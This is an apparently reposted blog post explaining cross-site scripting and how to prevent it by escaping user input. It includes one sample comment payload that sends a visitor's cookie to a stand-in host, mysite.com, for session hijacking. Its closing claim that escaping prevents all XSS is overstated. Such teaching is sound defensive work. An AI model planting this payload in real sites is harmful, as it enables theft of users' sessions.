Preventing cross-site scripting attacks

Tags:

Originally posted in my old blog at My Opera

Cross-site scripting attacks, also known as XSS attacks, are a type of vulnerability found in some web sites.

For example, if your blog comment box allows users to write JavaScript snippets that aren't escaped in any way by the server and are ran, it's most likely vulnerable to an XSS attack.

It's not just a problem with small, less known sites – Recently, even Google had an XSS vulnerability.

XSS attacks are, however, quite easy to prevent if you know how.


How an XSS attack works

Let's first look at how an XSS exploit on your site could work. Say you have a page which displays some data the user has submitted, for example a blog comment.

Many sites use sessions to track user logins etc. and this is achieved by saving a session ID or such to the browser's cookies. Knowing this, we can guess that the blog might do the same and if we find the session ID of the administrator, we might be able to hijack the session by inputting the same session ID cookie to our browser.

So, we post a comment like this:

<a href="javascript:location.replace(&#39;http://mysite.com/?cookie=&#39;+document.cookie)">Check out this funny joke!</a>

If the blog does not filter HTML, it will appear to others that by clicking this link they will see a funny joke, but instead of that, they will send their cookie for the blog to mysite.com.

There are also other things you can try with XSS, but this will serve as an example. Stealing session cookies and using them yourself is also known as session hijacking.

How to prevent XSS

So now we know the basic way an XSS attack works. You might already know how to prevent this basic form of attacks, but there are some things one might not immediately think of.

So the simplest method to prevent XSS is to escape any user submitted content before it's displayed, for example with htmlspecialchars() in PHP.

But, in addition to things like blog comments and other obvious data, you also need to make sure that any data passed in URLs is escaped too. Otherwise a crafty person could make a link like this:

Hi

If the parameter from the URL is outputted on the page, the script is run unless you escape it.

Always escape any data from the user: GET, POST, database, anything.
This stops any scripts etc. from running and prevents all XSS attacks.